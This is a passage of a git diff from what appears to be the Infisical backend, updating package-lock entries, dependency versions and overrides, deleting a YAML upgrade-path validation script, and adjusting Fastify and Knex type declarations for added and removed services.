+        "@esbuild/aix-ppc64": "0.27.7",
+        "@esbuild/android-arm": "0.27.7",
+        "@esbuild/android-arm64": "0.27.7",
+        "@esbuild/android-x64": "0.27.7",
+        "@esbuild/darwin-arm64": "0.27.7",
+        "@esbuild/darwin-x64": "0.27.7",
+        "@esbuild/freebsd-arm64": "0.27.7",
+        "@esbuild/freebsd-x64": "0.27.7",
+        "@esbuild/linux-arm": "0.27.7",
+        "@esbuild/linux-arm64": "0.27.7",
+        "@esbuild/linux-ia32": "0.27.7",
+        "@esbuild/linux-loong64": "0.27.7",
+        "@esbuild/linux-mips64el": "0.27.7",
+        "@esbuild/linux-ppc64": "0.27.7",
+        "@esbuild/linux-riscv64": "0.27.7",
+        "@esbuild/linux-s390x": "0.27.7",
+        "@esbuild/linux-x64": "0.27.7",
+        "@esbuild/netbsd-arm64": "0.27.7",
+        "@esbuild/netbsd-x64": "0.27.7",
+        "@esbuild/openbsd-arm64": "0.27.7",
+        "@esbuild/openbsd-x64": "0.27.7",
+        "@esbuild/openharmony-arm64": "0.27.7",
+        "@esbuild/sunos-x64": "0.27.7",
+        "@esbuild/win32-arm64": "0.27.7",
+        "@esbuild/win32-ia32": "0.27.7",
+        "@esbuild/win32-x64": "0.27.7"
+      }
+    },
+    "node_modules/vite/node_modules/picomatch": {
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz",
+      "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/jonschlinkert"
+      }
+    },
+    "node_modules/vitest": {
+      "version": "3.2.4",
+      "resolved": "https://registry.npmjs.org/vitest/-/vitest-3.2.4.tgz",
+      "integrity": "sha512-LUCP5ev3GURDysTWiP47wRRUpLKMOfPh+yKTx3kVIEiu5KOMeqzpnYNsKyOoVrULivR8tLcks4+lga33Whn90A==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@types/chai": "^5.2.2",
+        "@vitest/expect": "3.2.4",
+        "@vitest/mocker": "3.2.4",
+        "@vitest/pretty-format": "^3.2.4",
+        "@vitest/runner": "3.2.4",
+        "@vitest/snapshot": "3.2.4",
+        "@vitest/spy": "3.2.4",
+        "@vitest/utils": "3.2.4",
+        "chai": "^5.2.0",
+        "debug": "^4.4.1",
+        "expect-type": "^1.2.1",
+        "magic-string": "^0.30.17",
+        "pathe": "^2.0.3",
+        "picomatch": "^4.0.2",
+        "std-env": "^3.9.0",
+        "tinybench": "^2.9.0",
+        "tinyexec": "^0.3.2",
+        "tinyglobby": "^0.2.14",
+        "tinypool": "^1.1.1",
+        "tinyrainbow": "^2.0.0",
+        "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0",
+        "vite-node": "3.2.4",
+        "why-is-node-running": "^2.3.0"
+      },
+      "bin": {
+        "vitest": "vitest.mjs"
+      },
+      "engines": {
+        "node": "^18.0.0 || ^20.0.0 || >=22.0.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      },
+      "peerDependencies": {
+        "@edge-runtime/vm": "*",
+        "@types/debug": "^4.1.12",
+        "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0",
+        "@vitest/browser": "3.2.4",
+        "@vitest/ui": "3.2.4",
+        "happy-dom": "*",
+        "jsdom": "*"
+      },
+      "peerDependenciesMeta": {
+        "@edge-runtime/vm": {
           "optional": true
         },
-        "sugarss": {
+        "@types/debug": {
           "optional": true
         },
-        "terser": {
+        "@types/node": {
           "optional": true
         },
-        "tsx": {
+        "@vitest/browser": {
           "optional": true
         },
-        "yaml": {
+        "@vitest/ui": {
+          "optional": true
+        },
+        "happy-dom": {
+          "optional": true
+        },
+        "jsdom": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/vitest/node_modules/@vitest/mocker": {
+      "version": "3.2.4",
+      "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-3.2.4.tgz",
+      "integrity": "sha512-46ryTE9RZO/rfDd7pEqFl7etuyzekzEhUbTW3BvmeO/BcCMEgq59BKhek3dXDWgAj4oMK6OZi+vRr1wPW6qjEQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@vitest/spy": "3.2.4",
+        "estree-walker": "^3.0.3",
+        "magic-string": "^0.30.17"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      },
+      "peerDependencies": {
+        "msw": "^2.4.9",
+        "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0"
+      },
+      "peerDependenciesMeta": {
+        "msw": {
+          "optional": true
+        },
+        "vite": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/vitest/node_modules/debug": {
+      "version": "4.4.3",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+      "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "ms": "^2.1.3"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
           "optional": true
         }
       }
     },
+    "node_modules/vitest/node_modules/picomatch": {
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz",
+      "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/jonschlinkert"
+      }
+    },
     "node_modules/w3c-xmlserializer": {
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz",
@@ -27418,6 +27492,15 @@
         "node": ">=16"
       }
     },
+    "node_modules/xml-crypto/node_modules/@xmldom/xmldom": {
+      "version": "0.8.12",
+      "resolved": "https://registry.npmjs.org/@xmldom/xmldom/-/xmldom-0.8.12.tgz",
+      "integrity": "sha512-9k/gHF6n/pAi/9tqr3m3aqkuiNosYTurLLUtc7xQ9sxB/wm7WPygCv8GYa6mS0fLJEHhqMC1ATYhz++U/lRHqg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=10.0.0"
+      }
+    },
     "node_modules/xml-crypto/node_modules/xpath": {
       "version": "0.0.33",
       "resolved": "https://registry.npmjs.org/xpath/-/xpath-0.0.33.tgz",
@@ -27438,6 +27521,15 @@
         "xpath": "0.0.32"
       }
     },
+    "node_modules/xml-encryption/node_modules/@xmldom/xmldom": {
+      "version": "0.8.12",
+      "resolved": "https://registry.npmjs.org/@xmldom/xmldom/-/xmldom-0.8.12.tgz",
+      "integrity": "sha512-9k/gHF6n/pAi/9tqr3m3aqkuiNosYTurLLUtc7xQ9sxB/wm7WPygCv8GYa6mS0fLJEHhqMC1ATYhz++U/lRHqg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=10.0.0"
+      }
+    },
     "node_modules/xml-encryption/node_modules/xpath": {
       "version": "0.0.32",
       "resolved": "https://registry.npmjs.org/xpath/-/xpath-0.0.32.tgz",
@@ -27510,6 +27602,7 @@
       "version": "5.0.8",
       "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
       "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
+      "license": "ISC",
       "engines": {
         "node": ">=10"
       }
@@ -27534,6 +27627,74 @@
         "url": "https://github.com/sponsors/eemeli"
       }
     },
+    "node_modules/yargs": {
+      "version": "17.7.2",
+      "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz",
+      "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==",
+      "license": "MIT",
+      "dependencies": {
+        "cliui": "^8.0.1",
+        "escalade": "^3.1.1",
+        "get-caller-file": "^2.0.5",
+        "require-directory": "^2.1.1",
+        "string-width": "^4.2.3",
+        "y18n": "^5.0.5",
+        "yargs-parser": "^21.1.1"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/yargs-parser": {
+      "version": "21.1.1",
+      "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz",
+      "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/yargs/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/yargs/node_modules/emoji-regex": {
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+      "license": "MIT"
+    },
+    "node_modules/yargs/node_modules/string-width": {
+      "version": "4.2.3",
+      "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+      "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "license": "MIT",
+      "dependencies": {
+        "emoji-regex": "^8.0.0",
+        "is-fullwidth-code-point": "^3.0.0",
+        "strip-ansi": "^6.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/yargs/node_modules/strip-ansi": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+      "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "license": "MIT",
+      "dependencies": {
+        "ansi-regex": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
     "node_modules/yn": {
       "version": "3.1.1",
       "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz",
diff --git a/backend/package.json b/backend/package.json
index 505dc173e81..2ffc2095d7a 100644
--- a/backend/package.json
+++ b/backend/package.json
@@ -62,7 +62,7 @@
     "cipher-base": "1.0.5",
     "sha.js": "2.4.12",
     "jws": "^4.0.1",
-    "qs": "^6.14.1",
+    "qs": "^6.14.2",
     "glob": "^10.5.0",
     "cross-spawn": "^7.0.6",
     "validator": "^13.15.22",
@@ -71,7 +71,15 @@
     },
     "ts-node": {
       "diff": "^4.0.4"
-    }
+    },
+    "hono": "^4.12.12",
+    "@hono/node-server": "^1.19.13",
+    "vite": "^7.3.2",
+    "@xmldom/xmldom": "^0.8.12",
+    "lodash": "^4.18.0",
+    "tar": "^7.5.11",
+    "flatted": "^3.4.2",
+    "@octokit/request-error": "^5.1.1"
   },
   "devDependencies": {
     "@babel/cli": "^7.18.10",
@@ -83,8 +91,6 @@
     "@smithy/types": "^4.3.1",
     "@types/bcrypt": "^5.0.2",
     "@types/dns-packet": "^5.6.5",
-    "@types/jmespath": "^0.15.2",
-    "@types/js-yaml": "^4.0.9",
     "@types/jsonwebtoken": "^9.0.5",
     "@types/jsrp": "^0.2.6",
     "@types/libsodium-wrappers": "^0.7.13",
@@ -117,11 +123,9 @@
     "eslint-plugin-simple-import-sort": "^10.0.0",
     "nock": "^14.0.10",
     "nodemon": "^3.0.2",
-    "ora": "^7.0.1",
     "pino-pretty": "^10.2.3",
     "prompt-sync": "^4.2.0",
     "react-email": "^5.0.6",
-    "rimraf": "^5.0.5",
     "ts-node": "^10.9.2",
     "tsc-alias": "^1.8.8",
     "tsconfig-paths": "^4.2.0",
@@ -132,12 +136,15 @@
   },
   "dependencies": {
     "@ai-sdk/anthropic": "^3.0.68",
+    "@aws-sdk/client-acm": "^3.1030.0",
     "@aws-sdk/client-acm-pca": "^3.992.0",
+    "@aws-sdk/client-elastic-load-balancing-v2": "^3.1015.0",
     "@aws-sdk/client-elasticache": "^3.637.0",
     "@aws-sdk/client-iam": "^3.525.0",
     "@aws-sdk/client-kms": "^3.609.0",
     "@aws-sdk/client-route-53": "^3.810.0",
     "@aws-sdk/client-secrets-manager": "^3.504.0",
+    "@aws-sdk/client-ssm": "^3.1015.0",
     "@aws-sdk/client-sts": "^3.600.0",
     "@casl/ability": "^6.5.0",
     "@clickhouse/client": "^1.17.0",
@@ -158,7 +165,7 @@
     "@fastify/swagger-ui": "^3.1.0",
     "@fastify/websocket": "^10.0.1",
     "@gitbeaker/rest": "^42.5.0",
-    "@google-cloud/kms": "^4.5.0",
+    "@google-cloud/kms": "^5.4.0",
     "@infisical/ldapjs": "3.0.11",
     "@infisical/pg-view-generator": "^1.1.0",
     "@infisical/quic": "^1.0.8",
@@ -168,7 +175,6 @@
     "@octokit/core": "^5.2.1",
     "@octokit/plugin-paginate-graphql": "^4.0.1",
     "@octokit/plugin-retry": "^5.0.5",
-    "@octokit/request": "8.4.1",
     "@octokit/rest": "^20.0.2",
     "@octokit/webhooks-types": "^7.3.1",
     "@octopusdeploy/api-client": "^3.4.1",
@@ -180,12 +186,9 @@
     "@opentelemetry/resources": "^1.28.0",
     "@opentelemetry/sdk-metrics": "^1.28.0",
     "@opentelemetry/semantic-conventions": "^1.27.0",
-    "@peculiar/asn1-cms": "^2.6.1",
-    "@peculiar/asn1-pkcs9": "^2.6.1",
     "@peculiar/asn1-schema": "^2.3.8",
     "@peculiar/x509": "^1.12.1",
     "@react-email/components": "^1.0.1",
-    "@serdnam/pino-cloudwatch-transport": "^1.0.4",
     "@simplewebauthn/server": "^13.2.2",
     "@sindresorhus/slugify": "1.1.0",
     "@slack/oauth": "^3.0.2",
@@ -194,11 +197,9 @@
     "@ucast/mongo2js": "^1.3.4",
     "acme-client": "^5.4.0",
     "ai": "^6.0.154",
-    "ajv": "^8.12.0",
     "argon2": "^0.31.2",
     "asn1js": "^3.0.6",
-    "aws-sdk": "^2.1553.0",
-    "axios": "^1.12.0",
+    "axios": "^1.15.0",
     "axios-ntlm": "^1.4.4",
     "axios-retry": "^4.0.0",
     "bcrypt": "^5.1.1",
@@ -218,9 +219,7 @@
     "hdb": "^0.19.10",
     "ioredis": "^5.3.2",
     "isomorphic-dompurify": "^2.22.0",
-    "jmespath": "^0.16.0",
     "jose": "^6.1.0",
-    "js-yaml": "^4.1.0",
     "jsonwebtoken": "^9.0.2",
     "jsrp": "^0.2.4",
     "jwks-rsa": "^3.1.0",
@@ -236,7 +235,7 @@
     "nanoid": "^3.3.8",
     "netmask": "^2.0.2",
     "node-forge": "^1.3.2",
-    "nodemailer": "^7.0.12",
+    "nodemailer": "^8.0.5",
     "oci-common": "^2.108.0",
     "oci-identity": "^2.108.0",
     "oci-keymanagement": "^2.108.0",
diff --git a/backend/scripts/validate-upgrade-path-file.ts b/backend/scripts/validate-upgrade-path-file.ts
deleted file mode 100644
index 566300cdebf..00000000000
--- a/backend/scripts/validate-upgrade-path-file.ts
+++ /dev/null
@@ -1,107 +0,0 @@
-/* eslint-disable no-console */
-import { readFile } from "fs/promises";
-import * as yaml from "js-yaml";
-import * as path from "path";
-import { z } from "zod";
-
-import { upgradePathConfigSchema } from "../src/services/upgrade-path/upgrade-path-schemas";
-
-async function validateUpgradePathConfig(): Promise<void> {
-  try {
-    const yamlPath = path.join(__dirname, "..", "upgrade-path.yaml");
-    const resolvedPath = path.resolve(yamlPath);
-    const expectedBaseDir = path.resolve(__dirname, "..");
-
-    if (!resolvedPath.startsWith(expectedBaseDir)) {
-      throw new Error("Invalid configuration file path");
-    }
-
-    try {
-      await readFile(yamlPath, "utf8");
-    } catch (error) {
-      if (error instanceof Error && "code" in error && error.code === "ENOENT") {
-        console.log("Warning: No upgrade-path.yaml file found");
-        return;
-      }
-      throw error;
-    }
-
-    const yamlContent = await readFile(yamlPath, "utf8");
-
-    if (yamlContent.length > 1024 * 1024) {
-      throw new Error("Config file too large (>1MB)");
-    }
-
-    let config: unknown;
-    try {
-      config = yaml.load(yamlContent, {
-        schema: yaml.FAILSAFE_SCHEMA,
-        filename: yamlPath,
-        onWarning: (warning) => {
-          console.log(`YAML Warning: ${warning.message}`);
-        }
-      });
-    } catch (yamlError) {
-      if (yamlError instanceof yaml.YAMLException) {
-        throw new Error(
-          `YAML parsing failed: ${yamlError.message} at line ${yamlError.mark?.line}, column ${yamlError.mark?.column}`
-        );
-      }
-      throw new Error(`YAML parsing failed: ${yamlError instanceof Error ? yamlError.message : "Unknown YAML error"}`);
-    }
-
-    if (!config) {
-      console.log("Warning: Empty configuration file");
-      return;
-    }
-
-    if (typeof config !== "object" || config === null) {
-      throw new Error("Configuration must be a valid YAML object");
-    }
-
-    const result = upgradePathConfigSchema.safeParse(config);
-
-    if (!result.success) {
-      console.log("Validation failed with the following errors:");
-      result.error.issues.forEach((issue: z.ZodIssue) => {
-        const issuePath = issue.path.length > 0 ? `[${issue.path.join(".")}]` : "";
-        console.log(`  - ${issuePath}: ${issue.message}`);
-      });
-      throw new Error("Schema validation failed");
-    }
-
-    const validatedConfig = result.data;
-    const versions = validatedConfig?.versions || {};
-    const versionCount = Object.keys(versions).length;
-
-    if (versionCount === 0) {
-      console.log("Warning: No versions found in the configuration");
-    } else {
-      console.log(`Validated ${versionCount} version configuration(s)`);
-
-      const commonPatterns = [
-        /^v?\d+\.\d+\.\d+$/,
-        /^v?\d+\.\d+\.\d+\.\d+$/,
-        /^infisical\/v?\d+\.\d+\.\d+$/,
-        /^infisical\/v?\d+\.\d+\.\d+-\w+$/
-      ];
-
-      for (const versionKey of Object.keys(versions)) {
-        const isCommonPattern = commonPatterns.some((pattern) => pattern.test(versionKey));
-        if (!isCommonPattern) {
-          console.log(`Warning: Version key '${versionKey}' doesn't match common patterns. This may be intentional.`);
-        }
-      }
-    }
-
-    console.log("upgrade-path.yaml format is valid");
-  } catch (error) {
-    console.error(`Validation failed: ${error instanceof Error ? error.message : "Unknown error"}`);
-    process.exit(1);
-  }
-}
-
-validateUpgradePathConfig().catch((error) => {
-  console.error("Unexpected error:", error);
-  process.exit(1);
-});
diff --git a/backend/src/@types/fastify.d.ts b/backend/src/@types/fastify.d.ts
index 3a85c1f93f1..81a5972858f 100644
--- a/backend/src/@types/fastify.d.ts
+++ b/backend/src/@types/fastify.d.ts
@@ -19,10 +19,12 @@ import { TEmailDomainServiceFactory } from "@app/ee/services/email-domain/email-
 import { TEventBusService as TInternalEventBusService } from "@app/ee/services/event-bus";
 import { TExternalKmsServiceFactory } from "@app/ee/services/external-kms/external-kms-service";
 import { TGatewayServiceFactory } from "@app/ee/services/gateway/gateway-service";
+import { TGatewayPoolServiceFactory } from "@app/ee/services/gateway-pool/gateway-pool-service";
 import { TGatewayV2ServiceFactory } from "@app/ee/services/gateway-v2/gateway-v2-service";
 import { TGithubOrgSyncServiceFactory } from "@app/ee/services/github-org-sync/github-org-sync-service";
 import { TGroupServiceFactory } from "@app/ee/services/group/group-service";
 import { TIdentityAuthTemplateServiceFactory } from "@app/ee/services/identity-auth-template";
+import { TInsightsServiceFactory } from "@app/ee/services/insights/insights-service";
 import { TKmipClientDALFactory } from "@app/ee/services/kmip/kmip-client-dal";
 import { TKmipOperationServiceFactory } from "@app/ee/services/kmip/kmip-operation-service";
 import { TKmipServiceFactory } from "@app/ee/services/kmip/kmip-service";
@@ -32,6 +34,7 @@ import { TOidcConfigServiceFactory } from "@app/ee/services/oidc/oidc-config-ser
 import { TPamAccountServiceFactory } from "@app/ee/services/pam-account/pam-account-service";
 import { TPamAccountPolicyServiceFactory } from "@app/ee/services/pam-account-policy/pam-account-policy-service";
 import { TPamDiscoverySourceServiceFactory } from "@app/ee/services/pam-discovery/pam-discovery-source-service";
+import { TPamDomainServiceFactory } from "@app/ee/services/pam-domain/pam-domain-service";
 import { TPamFolderServiceFactory } from "@app/ee/services/pam-folder/pam-folder-service";
 import { TPamResourceRotationRulesServiceFactory } from "@app/ee/services/pam-resource/pam-resource-rotation-rules-service";
 import { TPamResourceServiceFactory } from "@app/ee/services/pam-resource/pam-resource-service";
@@ -52,7 +55,6 @@ import { TSamlConfigServiceFactory } from "@app/ee/services/saml-config/saml-con
 import { TScimServiceFactory } from "@app/ee/services/scim/scim-types";
 import { TSecretApprovalPolicyServiceFactory } from "@app/ee/services/secret-approval-policy/secret-approval-policy-service";
 import { TSecretApprovalRequestServiceFactory } from "@app/ee/services/secret-approval-request/secret-approval-request-service";
-import { TSecretRotationServiceFactory } from "@app/ee/services/secret-rotation/secret-rotation-service";
 import { TSecretRotationV2ServiceFactory } from "@app/ee/services/secret-rotation-v2/secret-rotation-v2-service";
 import { TSecretScanningServiceFactory } from "@app/ee/services/secret-scanning/secret-scanning-service";
 import { TSecretScanningV2ServiceFactory } from "@app/ee/services/secret-scanning-v2/secret-scanning-v2-service";
@@ -67,14 +69,13 @@ import { RequestMemoizer } from "@app/lib/request-context/request-memoizer";
 import { TAuthMode } from "@app/server/plugins/auth/inject-identity";
 import { TAccountRecoveryServiceFactory } from "@app/services/account-recovery/account-recovery-service";
 import { TAdditionalPrivilegeServiceFactory } from "@app/services/additional-privilege/additional-privilege-service";
-import { TApiKeyServiceFactory } from "@app/services/api-key/api-key-service";
 import { TAppConnectionServiceFactory } from "@app/services/app-connection/app-connection-service";
 import { TAppConnectionCredentialRotationServiceFactory } from "@app/services/app-connection/credential-rotation";
 import { TApprovalPolicyServiceFactory } from "@app/services/approval-policy/approval-policy-service";
 import { TAuthLoginFactory } from "@app/services/auth/auth-login-service";
 import { TAuthPasswordFactory } from "@app/services/auth/auth-password-service";
 import { TAuthSignupFactory } from "@app/services/auth/auth-signup-service";
-import { ActorAuthMethod, ActorType, TProviderAuthCallback } from "@app/services/auth/auth-type";
+import { ActorAuthMethod, ActorType, MfaMethod, TProviderAuthCallback } from "@app/services/auth/auth-type";
 import { TAuthTokenServiceFactory } from "@app/services/auth-token/auth-token-service";
 import { TCertificateServiceFactory } from "@app/services/certificate/certificate-service";
 import { TCaAutoRenewalQueueFactory } from "@app/services/certificate-authority/ca-auto-renewal-queue";
@@ -83,6 +84,7 @@ import { TCertificateAuthorityServiceFactory } from "@app/services/certificate-a
 import { TInternalCertificateAuthorityServiceFactory } from "@app/services/certificate-authority/internal/internal-certificate-authority-service";
 import { TCertificateCleanupServiceFactory } from "@app/services/certificate-cleanup/certificate-cleanup-service";
 import { TCertificateEstV3ServiceFactory } from "@app/services/certificate-est-v3/certificate-est-v3-service";
+import { TCertificateInventoryViewServiceFactory } from "@app/services/certificate-inventory-view/certificate-inventory-view-service";
 import { TCertificatePolicyServiceFactory } from "@app/services/certificate-policy/certificate-policy-service";
 import { TCertificateProfileServiceFactory } from "@app/services/certificate-profile/certificate-profile-service";
 import { TCertificateRequestServiceFactory } from "@app/services/certificate-request/certificate-request-service";
@@ -152,7 +154,6 @@ import { TSlackServiceFactory } from "@app/services/slack/slack-service";
 import { TSuperAdminServiceFactory } from "@app/services/super-admin/super-admin-service";
 import { TTelemetryServiceFactory } from "@app/services/telemetry/telemetry-service";
 import { TTotpServiceFactory } from "@app/services/totp/totp-service";
-import { TUpgradePathService } from "@app/services/upgrade-path/upgrade-path-service";
 import { TUserDALFactory } from "@app/services/user/user-dal";
 import { TUserServiceFactory } from "@app/services/user/user-service";
 import { TUserEngagementServiceFactory } from "@app/services/user-engagement/user-engagement-service";
@@ -217,6 +218,7 @@ declare module "fastify" {
       userId: string;
       orgId?: string;
       user: TUsers;
+      requiredMfaMethod: MfaMethod;
     };
     // identity injection. depending on which kinda of token the information is filled in auth
     auth: TAuthMode;
@@ -265,7 +267,6 @@ declare module "fastify" {
       user: TUserServiceFactory;
       group: TGroupServiceFactory;
       groupProject: TGroupProjectServiceFactory;
-      apiKey: TApiKeyServiceFactory;
       pkiAlert: TPkiAlertServiceFactory;
       project: TProjectServiceFactory;
       projectMembership: TProjectMembershipServiceFactory;
@@ -303,7 +304,6 @@ declare module "fastify" {
       accessApprovalRequest: TAccessApprovalRequestServiceFactory;
       secretApprovalPolicy: TSecretApprovalPolicyServiceFactory;
       secretApprovalRequest: TSecretApprovalRequestServiceFactory;
-      secretRotation: TSecretRotationServiceFactory;
       snapshot: TSecretSnapshotServiceFactory;
       saml: TSamlConfigServiceFactory;
       scim: TScimServiceFactory;
@@ -312,6 +312,7 @@ declare module "fastify" {
       auditLogStream: TAuditLogStreamServiceFactory;
       certificate: TCertificateServiceFactory;
       certificateCleanup: TCertificateCleanupServiceFactory;
+      certificateInventoryView: TCertificateInventoryViewServiceFactory;
       certificateV3: TCertificateV3ServiceFactory;
       certificateRequest: TCertificateRequestServiceFactory;
       certificateTemplate: TCertificateTemplateServiceFactory;
@@ -363,8 +364,10 @@ declare module "fastify" {
       secretRotationV2: TSecretRotationV2ServiceFactory;
       microsoftTeams: TMicrosoftTeamsServiceFactory;
       assumePrivileges: TAssumePrivilegeServiceFactory;
+      insights: TInsightsServiceFactory;
       relay: TRelayServiceFactory;
       gatewayV2: TGatewayV2ServiceFactory;
+      gatewayPool: TGatewayPoolServiceFactory;
       githubOrgSync: TGithubOrgSyncServiceFactory;
       folderCommit: TFolderCommitServiceFactory;
       pit: TPitServiceFactory;
@@ -380,6 +383,7 @@ declare module "fastify" {
       offlineUsageReport: TOfflineUsageReportServiceFactory;
       pamFolder: TPamFolderServiceFactory;
       pamResource: TPamResourceServiceFactory;
+      pamDomain: TPamDomainServiceFactory;
       pamResourceRotationRules: TPamResourceRotationRulesServiceFactory;
       pamAccount: TPamAccountServiceFactory;
       pamAccountPolicy: TPamAccountPolicyServiceFactory;
@@ -387,8 +391,6 @@ declare module "fastify" {
       pamWebAccess: TPamWebAccessServiceFactory;
       pamDiscoverySource: TPamDiscoverySourceServiceFactory;
       mfaSession: TMfaSessionServiceFactory;
-      upgradePath: TUpgradePathService;
-
       membershipUser: TMembershipUserServiceFactory;
       membershipIdentity: TMembershipIdentityServiceFactory;
       membershipGroup: TMembershipGroupServiceFactory;
diff --git a/backend/src/@types/knex.d.ts b/backend/src/@types/knex.d.ts
index 9b474f1b81d..12fe095e2de 100644
--- a/backend/src/@types/knex.d.ts
+++ b/backend/src/@types/knex.d.ts
@@ -41,9 +41,6 @@ import {
   TAiMcpServerUserCredentials,
   TAiMcpServerUserCredentialsInsert,
   TAiMcpServerUserCredentialsUpdate,
-  TApiKeys,
-  TApiKeysInsert,
-  TApiKeysUpdate,
   TAppConnectionCredentialRotations,
   TAppConnectionCredentialRotationsInsert,
   TAppConnectionCredentialRotationsUpdate,
@@ -110,6 +107,9 @@ import {
   TCertificateCleanupConfigs,
   TCertificateCleanupConfigsInsert,
   TCertificateCleanupConfigsUpdate,
+  TCertificateInventoryViews,
+  TCertificateInventoryViewsInsert,
+  TCertificateInventoryViewsUpdate,
   TCertificates,
   TCertificateSecrets,
   TCertificateSecretsInsert,
@@ -140,6 +140,9 @@ import {
   TExternalKms,
   TExternalKmsInsert,
   TExternalKmsUpdate,
+  TExternalMigrationConfigs,
+  TExternalMigrationConfigsInsert,
+  TExternalMigrationConfigsUpdate,
   TFolderCheckpointResources,
   TFolderCheckpointResourcesInsert,
   TFolderCheckpointResourcesUpdate,
@@ -158,6 +161,15 @@ import {
   TFolderTreeCheckpoints,
   TFolderTreeCheckpointsInsert,
   TFolderTreeCheckpointsUpdate,
+  TGatewayEnrollmentTokens,
+  TGatewayEnrollmentTokensInsert,
+  TGatewayEnrollmentTokensUpdate,
+  TGatewayPoolMemberships,
+  TGatewayPoolMembershipsInsert,
+  TGatewayPoolMembershipsUpdate,
+  TGatewayPools,
+  TGatewayPoolsInsert,
+  TGatewayPoolsUpdate,
   TGateways,
   TGatewaysInsert,
   TGatewaysUpdate,
@@ -368,6 +380,9 @@ import {
   TPkiEstEnrollmentConfigs,
   TPkiEstEnrollmentConfigsInsert,
   TPkiEstEnrollmentConfigsUpdate,
+  TPkiScepDynamicChallenges,
+  TPkiScepDynamicChallengesInsert,
+  TPkiScepDynamicChallengesUpdate,
   TPkiScepEnrollmentConfigs,
   TPkiScepEnrollmentConfigsInsert,
   TPkiScepEnrollmentConfigsUpdate,
@@ -488,15 +503,6 @@ import {
   TSecretReferencesV2,
   TSecretReferencesV2Insert,
   TSecretReferencesV2Update,
-  TSecretRotationOutputs,
-  TSecretRotationOutputsInsert,
-  TSecretRotationOutputsUpdate,
-  TSecretRotationOutputV2,
-  TSecretRotationOutputV2Insert,
-  TSecretRotationOutputV2Update,
-  TSecretRotations,
-  TSecretRotationsInsert,
-  TSecretRotationsUpdate,
   TSecretRotationsV2,
   TSecretRotationsV2Insert,
   TSecretRotationsV2Update,
@@ -706,6 +712,7 @@ import {
   TPamDiscoverySourcesInsert,
   TPamDiscoverySourcesUpdate
